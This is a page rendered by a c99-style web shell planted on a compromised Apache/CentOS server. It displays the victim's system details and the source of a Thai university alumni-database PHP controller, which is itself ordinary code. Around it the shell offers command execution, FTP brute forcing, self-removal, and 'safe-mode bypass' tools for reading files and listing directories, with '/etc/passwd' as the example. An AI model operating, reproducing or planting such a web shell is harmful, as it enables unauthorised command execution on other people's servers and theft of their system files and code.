!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/ealumni/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     basedata_1.php (25.95 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('ea_controller.php');
class 
Basedata extends Ea_controller {

//    function __construct() {
//        parent::Controller();
//    }

    // ##### start ta
    
function ta_input() {
        
$this->load->model($this->config->item("ea_folder").'mo_typeaward','ta');

        
$this->ta->taId $this->input->post('taId');
        
$this->contents['qu_ta'] = $this->ta->get_by_key();

        
$this->contents['rs_ta'] = $this->ta->qryTa('','','');

        
$this->output($this->config->item("ea_folder")."v_addTypeAward"$this->session->flashdata('msg'));
    }
    function 
ta_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('namesearch','คำค้น','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_typeaward','ta');

            
$namesearch $this->input->post('namesearch');

            
$con_rs_ta = array('taNameT'    => '%'.$namesearch.'%');
            
            
$this->contents['rs_ta'] = $this->ta->qryTa_2($con_rs_ta,'','');

            
$this->output($this->config->item("ea_folder")."v_addTypeAward");
        } else {
            
$this->ta_input();
        }
    }
    function 
ta_popup() {
        
$this->load->model($this->config->item("ea_folder").'mo_typeaward','ta');

        
$ord_rs_ta = array('taNameT'    => '');
        
$this->contents['rs_ta'] = $this->ta->qryTa('',$ord_rs_ta,'');
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printTypeAward");
    }
    function 
ta_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('taId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('taNameT','ชื่อประเภทรางวัล (ไทย)','trim|required|xss_clean');
        
$this->form_validation->set_rules('taNameE','ชื่อประเภทรางวัล (อังกฤษ)','trim|required|xss_clean');

        
$flgmsg 0;
        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_typeaward','ta');

            
$con_rs_ta = array('taNameT' => $this->input->post('taNameT'),
                               
'taNameE' => $this->input->post('taNameE'));
            
$rs_ta $this->ta->qryTa($con_rs_ta,'','');

            if(!
$rs_ta->num_rows()) {
                
                
$this->ta->taNameE $this->input->post('taNameE');
                
$this->ta->taNameT $this->input->post('taNameT');

                if(
$this->input->post('taId')=='') {
                    
$this->ta->taId '';
                    
$this->ta->insert();
                    
$flgmsg 1;
                } else {
                    
$this->ta->taId $this->input->post('taId');
                    
$this->ta->update();
                    
$flgmsg 1;
                }
                
            }
            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }
            
redirect($this->config->item("ea_folder")."basedata/ta_input");
        } else {
            
$this->ta_input();
        }
    }
    function 
ta_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_typeaward','ta');

        
$this->ta->taId $this->input->post('taId');
        
$this->ta->delete();
        
$this->session->set_flashdata('msg'3);
        
redirect($this->config->item("ea_folder")."basedata/ta_input");
    }
    
// ##### end ta

    
function la_input() {
        
$this->load->model($this->config->item("ea_folder").'mo_levelaward','la');

        
$this->la->laId $this->input->post('laId');
        
$this->contents['qu_la'] = $this->la->get_by_key();

        
$this->contents['rs_la'] = $this->la->qryLa('','','');

        
$this->output($this->config->item("ea_folder")."v_addLevelAward"$this->session->flashdata('msg'));
    }
    function 
la_popup() { 
        
$this->load->model($this->config->item("ea_folder").'mo_levelaward','la');
        
$this->contents['rs_la'] = $this->la->qryLa('','','');
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printLevelAward");
    }
    function 
la_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('namesearch','คำค้น','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_levelaward','la');
            
$namesearch $this->input->post('namesearch');

            
$con_rs_la = array('laNameT'    => $namesearch);
            
$this->contents['rs_la'] = $this->la->qryLa_2($con_rs_la,'','');

            
$this->output($this->config->item("ea_folder")."v_addLevelAward");
        } else {
            
$this->la_input();
        }
    }
    function 
la_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('laId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('laNameT','ชื่อระดับการได้รับรางวัล (ไทย)','trim|required|xss_clean');
        
$this->form_validation->set_rules('laNameE','ชื่อระดับการได้รับรางวัล (อังกฤษ)','trim|required|xss_clean');

        
$flgmsg 0;
        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_levelaward','la');

            
$con_rs_la = array('laNameT' => $this->input->post('laNameT'),
                               
'laNameE' => $this->input->post('laNameE'));
            
$rs_la $this->la->qryLa($con_rs_la,'','');

            if(!
$rs_la->num_rows()) {
                
                
$this->la->laNameE $this->input->post('laNameE');
                
$this->la->laNameT $this->input->post('laNameT');

                if(
$this->input->post('laId')=='') {
                    
$this->la->laId '';
                    
$this->la->insert();
                    
$flgmsg 1;
                } else {
                    
$this->la->laId $this->input->post('laId');
                    
$this->la->update();
                    
$flgmsg 1;
                }
                
            }
            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }
            
redirect($this->config->item("ea_folder")."basedata/la_input");
        } else {
            
$this->la_input();
        }
    }
    function 
la_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_levelaward','la');

        
$this->la->laId $this->input->post('laId');
        
$this->la->delete();
        
$this->session->set_flashdata('msg'3);
        
redirect($this->config->item("ea_folder")."basedata/la_input");
    }

    
// ##### start edu
    
function edu_input() {
        
$this->load->model($this->config->item("ea_folder").'mo_education','edu');

        
$this->edu->eduId $this->input->post('eduId');
        
$this->contents['qu_edu'] = $this->edu->get_by_key();

        
$ord_rs_edu = array('eduName'    => '');
        
$this->contents['rs_edu'] = $this->edu->qryEdu('',$ord_rs_edu);

        
$this->output($this->config->item("ea_folder")."v_addEducation"$this->session->flashdata('msg'));
    }
    function 
edu_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('namesearch','คำค้น','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_education','edu');

            
$namesearch $this->input->post('namesearch');

            
$con_rs_edu = array('eduName'    => $namesearch);
            
$this->contents['rs_edu'] = $this->edu->qryEdu_2($con_rs_edu,'','');

            
$this->output($this->config->item("ea_folder")."v_addEducation");
        } else {
            
$this->edu_input();
        }
    }
    function 
edu_popup() {
        
$this->load->model($this->config->item("ea_folder").'mo_education','edu');

        
$ord_rs_edu = array('eduName' => '');
        
$this->contents['rs_edu'] = $this->edu->qryEdu('',$ord_rs_edu,'');
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printEducation");
    }
    function 
edu_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('eduId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('eduName','ชื่อสถานศึกษา','trim|required|xss_clean');

        
$flgmsg 0;
        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_education','edu');

            
$con_rs_edu = array('eduName' => $this->input->post('eduName'),
                                
'pbriId'  => '0');
            
$rs_edu $this->edu->qryEdu($con_rs_edu,'','');

            if(!
$rs_edu->num_rows()) {
                
                
$this->edu->eduName $this->input->post('eduName');

                if(
$this->input->post('eduId')=='') {
                    
$this->edu->eduId '';
                    
$this->edu->pbriId '0';
                    
$this->edu->insert();
                    
$flgmsg 1;
                } else {
                    
$this->edu->eduId $this->input->post('eduId');
                    
$this->edu->update();
                    
$flgmsg 1;
                }
                
            }
            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }
            
redirect($this->config->item("ea_folder")."basedata/edu_input");
        } else {
            
$this->edu_input();
        }
    }
    function 
edu_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_education','edu');

        
$this->edu->eduId $this->input->post('eduId');
        
$this->edu->delete();
        
$this->session->set_flashdata('msg'3);
        
redirect($this->config->item("ea_folder")."basedata/edu_input");
    }
    
// ##### start edu

    //ข้อมูลหลักสูตร
    
function pa_input(){
        
$this->load->model($this->config->item("ea_folder").'mo_programalumni','pa');

        
$this->pa->paId $this->input->post('paId');
        
$this->contents['qu_pa'] = $this->pa->get_by_key();

        
$this->contents['rs_pa'] = $this->pa->qryPa('','','');
    
        
$this->output($this->config->item("ea_folder")."v_addProgramAlumni"$this->session->flashdata('msg'));
    }
    function 
pa_popup() {
        
$this->load->model($this->config->item("ea_folder").'mo_programalumni','pa');

        
$ord_rs_pa = array('paName'    => '');
        
$this->contents['rs_pa'] = $this->pa->qryPa('',$ord_rs_pa,'');
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printProgramAlumni");
    }
    function 
pa_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('psearch','คำค้น','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_programalumni','pa');

            
$psearch $this->input->post('psearch');

            
$con_rs_pa = array('paName'    => $psearch);
            
$this->contents['rs_pa'] = $this->pa->qryPa_2($con_rs_pa,'','');

            
$this->output($this->config->item("ea_folder")."v_addProgramAlumni");
        } else {
            
$this->pa_input();
        }
    }
    function 
pa_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('paId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('paName','ชื่อหลักสูตร','trim|required|xss_clean');

        
$flgmsg 0;
        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_programalumni','pa');

            
$con_rs_pa = array('paName' => $this->input->post('paName'));
            
$rs_pa $this->pa->qryPa($con_rs_pa,'','');

            if(!
$rs_pa->num_rows()) {
                
                
$this->pa->paName $this->input->post('paName');

                if(
$this->input->post('paId')=='') {
                    
$this->pa->paId '';
                    
$this->pa->insert();
                    
$flgmsg 1;
                } else {
                    
$this->pa->paId $this->input->post('paId');
                    
$this->pa->update();
                    
$flgmsg 1;
                }
                
            }

            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }

            
redirect($this->config->item("ea_folder")."basedata/pa_input");
        } else {
            
$this->pa_input();
        }
    }
    function 
pa_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_programalumni','pa');

        
$this->pa->paId $this->input->post('paId');
        
$this->pa->delete();

        
$this->session->set_flashdata('msg'3);

        
redirect($this->config->item("ea_folder")."basedata/pa_input");
    }
    
//ข้อมูลระดับการศึกาษา
    
function ledu_input(){
        
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');

        
$this->ledu->leduId $this->input->post('leduId');
        
$this->contents['qu_ledu'] = $this->ledu->get_by_key();

        
$this->contents['rs_ledu'] = $this->ledu->qryLedu('','','');
    
        
$this->output($this->config->item("ea_folder")."v_addLevelEdu"$this->session->flashdata('msg'));
    }
    function 
ledu_popup() {
        
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');
        
        
$ord_rs_ledu = array('leduName' => '');
        
$this->contents['rs_ledu'] = $this->ledu->qryLedu('',$ord_rs_ledu ,'');
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printLevelEdu");
    }
    function 
ledu_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('ledusearch','คำค้น','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');

            
$ledusearch $this->input->post('ledusearch');

            
$con_rs_ledu = array('leduName'    => $ledusearch);
            
$this->contents['rs_ledu'] = $this->ledu->qryLedu_2($con_rs_ledu,'','');

            
$this->output($this->config->item("ea_folder")."v_addLevelEdu");
        } else {
            
$this->ledu_input();
        }
    }
    function 
ledu_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('leduId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('leduName','ชื่อระดับการศึกษา (ไทย)','trim|required|xss_clean');
        
$this->form_validation->set_rules('leduNameEng','ชื่อระดับการศึกษา (อังกฤษ)','trim|required|xss_clean');
        
$this->form_validation->set_rules('leduAbbr','ชื่อย่อระดับการศึกษา (ไทย)','trim|required|xss_clean');
        
$this->form_validation->set_rules('leduAbbrEng','ชื่อย่อระดับการศึกษา (อังกฤษ)','trim|required|xss_clean');

        
$flgmsg 0;
        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');

            
$con_rs_ledu = array('leduName'        =>    $this->input->post('leduName'),
                                 
'leduNameEng'    =>    $this->input->post('leduNameEng'),
                                 
'leduAbbr'        =>    $this->input->post('leduAbbr'),
                                 
'leduAbbrEng'    =>    $this->input->post('leduAbbrEng'),
                                 
'pbriId'        =>    '0');
            
$rs_ledu $this->ledu->qryLedu($con_rs_ledu,'','');

            if(!
$rs_ledu->num_rows()) {
                
                
$this->ledu->leduName $this->input->post('leduName');
                
$this->ledu->leduNameEng $this->input->post('leduNameEng');
                
$this->ledu->leduAbbr $this->input->post('leduAbbr');
                
$this->ledu->leduAbbrEng $this->input->post('leduAbbrEng');
                
$this->ledu->pbriId '0';

                if(
$this->input->post('leduId')=='') {
                    
$this->ledu->leduId '';
                    
$this->ledu->insert();
                    
                    
$flgmsg 1;

                } else {
                    
$this->ledu->leduId $this->input->post('leduId');
                    
$this->ledu->update();
                    
$flgmsg 1;

                }
                
            }

            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }

            
redirect($this->config->item("ea_folder")."basedata/ledu_input");
        } else {
            
$this->ledu_input();
        }
    }
    function 
ledu_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');

        
$this->ledu->leduId $this->input->post('leduId');
        
$this->ledu->delete();

        
$this->session->set_flashdata('msg'3);

        
redirect($this->config->item("ea_folder")."basedata/ledu_input");
    }
    
//ข้อมูลสาขาวิชาการศึกษา
    
function medu_input(){
        
$this->load->model($this->config->item("ea_folder").'mo_majoredu','medu');

        
$this->medu->meduId $this->input->post('meduId');
        
$this->contents['qu_medu'] = $this->medu->get_by_key();

        
$this->contents['rs_medu'] = $this->medu->qryMedu('','','');
    
        
$this->output($this->config->item("ea_folder")."v_addMajorEdu"$this->session->flashdata('msg'));
    }
    function 
medu_popup() {
        
$this->load->model($this->config->item("ea_folder").'mo_majoredu','medu');

        
$ord_rs_medu = array('meduName' => '');
        
$this->contents['rs_medu'] = $this->medu->qryMedu('',$ord_rs_medu,'');
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printMajorEdu");
    }
    function 
medu_search() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('medusearch','คำค้น','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_majoredu','medu');

            
$medusearch $this->input->post('medusearch');

            
$con_rs_medu = array('meduName'    => $medusearch);
            
$this->contents['rs_medu'] = $this->medu->qryMedu_2($con_rs_medu,'','');

            
$this->output($this->config->item("ea_folder")."v_addMajorEdu");
        } else {
            
$this->medu_input();
        }
    }
    function 
medu_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('meduId',' ','trim|xss_clean');
        
$this->form_validation->set_rules('meduName','ข้อมูลสาขาวิชาการศึกษา','trim|required|xss_clean');

        
$flgmsg 0;
        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_majoredu','medu');

            
$con_rs_medu = array('meduName'    =>    $this->input->post('meduName'),
                                 
'pbriId'    =>    '0');
    
            
$rs_medu $this->medu->qryMedu($con_rs_medu,'','');

            if(!
$rs_medu->num_rows()) {
                
                
$this->medu->meduName $this->input->post('meduName');
                
$this->medu->pbriId '0';

                if(
$this->input->post('meduId')=='') {
                    
$this->medu->meduId '';
                    
$this->medu->insert();
                    
$flgmsg 1;

                } else {
                    
$this->medu->meduId $this->input->post('meduId');
                    
$this->medu->update();
                    
$flgmsg 1;
                }
            }

            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }
                
            
redirect($this->config->item("ea_folder")."basedata/medu_input");
        } else {
            
$this->medu_input();
        }
    }
    function 
medu_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_majoredu','medu');

        
$this->medu->meduId $this->input->post('meduId');
        
$this->medu->delete();

        
$this->session->set_flashdata('msg'3);

        
redirect($this->config->item("ea_folder")."basedata/medu_input");
    }

    
//ข้อมูลเงินเดือนขั้นต่ำ
    
function bs_input(){
        
$this->load->model($this->config->item("ea_folder").'mo_basesalary','bs');
        
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');

        
//---[กรณีแก้ไขข้อมูล]
        
$bsId $this->input->post('bsId');
        
$con_qu_bs = array('bsId'    => $bsId);
        
$this->contents['qu_bs'] = $this->bs->qryBsJoinLeduAndEdg($con_qu_bs);
        
//---[จบกรณีแก้ไขข้อมูล]

        
$this->contents['rs_edg'] = $this->bs->get_options_edg();
        
$this->contents['rs_ledu'] = $this->ledu->get_options_ledu();
        
$this->contents['rs_bs'] = $this->bs->qryBsJoinLeduAndEdg();

        
$this->output($this->config->item("ea_folder")."v_addBaseSalary"$this->session->flashdata('msg'));
    }
    function 
bs_popup() {
        
$this->load->model($this->config->item("ea_folder").'mo_basesalary','bs');

        
$ord_rs_bs = array('edgName' => '');
        
$this->contents['rs_bs'] = $this->bs->qryBsJoinLeduAndEdg('',$ord_rs_bs);
        
$this->contents['UsName'] = $this->session->userdata('UsName');

        
$this->output_detail($this->config->item("ea_folder")."v_printBaseSalary");
    }
    function 
bs_search() {
        
$this->load->model($this->config->item("ea_folder").'mo_basesalary','bs');
        
$this->load->model($this->config->item("ea_folder").'mo_leveledu','ledu');

        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('edgId','วุฒิการศึกษา','trim|xss_clean');
        
$this->form_validation->set_rules('leduId','ชื่อระดับการศึกษา','trim|xss_clean');

        
$this->contents['rs_edg'] = $this->bs->get_options_edg();
        
$this->contents['rs_ledu'] = $this->ledu->get_options_ledu();

        
$edgId $this->input->post('edgId');
        
$leduId $this->input->post('leduId');

        if(
$this->form_validation->run() == true && ($edgId!='' || $leduId!='')) {
            if(
$edgId!='' && $leduId=='')
                
$con_rs_bs = array('bs.edgId'    => $edgId);
            else if(
$edgId=='' && $leduId!='')
                
$con_rs_bs = array('bs.leduId'    => $leduId);
            else if(
$edgId!='' && $leduId!='')
                
$con_rs_bs = array('bs.edgId'    => $edgId,
                                   
'bs.leduId'    => $leduId);
            
$ord_rs_bs = array('edgName' => '');
            
$this->contents['rs_bs'] = $this->bs->qryBsJoinLeduAndEdg($con_rs_bs,$ord_rs_bs);
        } else {
            
$this->contents['flgerr'] = "กรุณาป้อนคำค้นลงในช่องใดช่องหนึ่ง";
        }

        
$this->output($this->config->item("ea_folder")."v_addBaseSalary");
    }
    
//---[callback function สำหรับเช็ควันที่เริ่มต้น-วันที่สิ้นสุด]
    
function checkFrDate($str$field) {
        
$frDate splitDateForm2($str); 
        
$toDate splitDateForm2($this->input->post($field));

        if(
$frDate $toDate) {
            
$this->form_validation->set_message('checkFrDate''%s ต้องน้อยกว่าหรือเท่ากับ วันที่สิ้นสุด'); return FALSE;
        } else { 
            return 
TRUE
        }
    }
    
//---[จบ callback function สำหรับเช็ควันที่เริ่มต้น-วันที่สิ้นสุด]
    
function bs_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<font color="red">','</font>');
        
$this->form_validation->set_rules('edgId','วุฒิการศึกษา','trim|required|xss_clean');
        
$this->form_validation->set_rules('leduId','ชื่อระดับการศึกษา','trim|required|xss_clean');
        
$this->form_validation->set_rules('bsStartPost','ประกาศเมื่อ','trim|callback_checkFrDate[bsEndPost]xss_clean');
        
$this->form_validation->set_rules('bsEndPost','สิ้นสุดเมื่อ','trim|xss_clean');
        
$this->form_validation->set_rules('bsAmount','จำนวนเงินขั้นต่ำ','trim|integer|required|xss_clean');
        
$this->form_validation->set_rules('bsId',' ','trim|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("ea_folder").'mo_basesalary','bs');

            
$flgmsg 0;
            
$this->db->trans_begin();
            
$bsId $this->input->post('bsId');
            
$edgId $this->input->post('edgId');
            
$leduId $this->input->post('leduId');
            
$bsStartPost splitDateForm2($this->input->post('bsStartPost'),'-');
            
$bsEndPost splitDateForm2($this->input->post('bsEndPost'),'-');
            
$bsAmount $this->input->post('bsAmount');

            
$this->bs->bsId $bsId;
            
$qu_bs $this->bs->get_by_key();
            if(!
$qu_bs->num_rows()) {
                
$con_rs_bs = array('edgId'    => $edgId,
                                   
'leduId'    => $leduId);
                
$rs_bs $this->bs->qryBs($con_rs_bs);
                if(!
$rs_bs->num_rows()) {
                    
$this->bs->bsId $bsId;
                    
$this->bs->edgId $edgId;
                    
$this->bs->leduId $leduId;
                    
$this->bs->bsStartPost $bsStartPost;
                    
$this->bs->bsEndPost $bsEndPost;
                    
$this->bs->bsAmount $bsAmount;
                    
$this->bs->insert();
                    
$flgmsg 1;
                }
            } else {
                
$rs_bs $this->bs->qryBsNotId($edgId,$leduId,$bsId);
                if(!
$rs_bs->num_rows()) {
                    
$this->bs->bsId $bsId;
                    
$this->bs->get_by_key(TRUE);
                    
$this->bs->edgId $edgId;
                    
$this->bs->leduId $leduId;
                    
$this->bs->bsStartPost $bsStartPost;
                    
$this->bs->bsEndPost $bsEndPost;
                    
$this->bs->bsAmount $bsAmount;
                    
$this->bs->update();
                    
$flgmsg 1;
                }
            }
            
            
$this->session->set_flashdata('msg'2);

            if(
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'2);
                } else {
                
$this->db->trans_commit();
                if(
$flgmsg)
                    
$this->session->set_flashdata('msg'1);
            }
            
redirect($this->config->item("ea_folder")."basedata/bs_input");
        } else {
            
$this->bs_input();
        }
    }

    function 
bs_delete() {
        
$this->load->model($this->config->item("ea_folder").'mo_basesalary','bs');

        
$bsId $this->input->post('bsId');

        
$this->bs->bsId $bsId;
        
$this->bs->delete();

        if(
$this->db->trans_status() === false) {
            
$this->db->trans_rollback();
            
$this->session->set_flashdata('msg'41);
        } else {
            
$this->db->trans_commit();
            
$this->session->set_flashdata('msg'30);
        }

        
redirect($this->config->item("ea_folder")."basedata/bs_input");
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--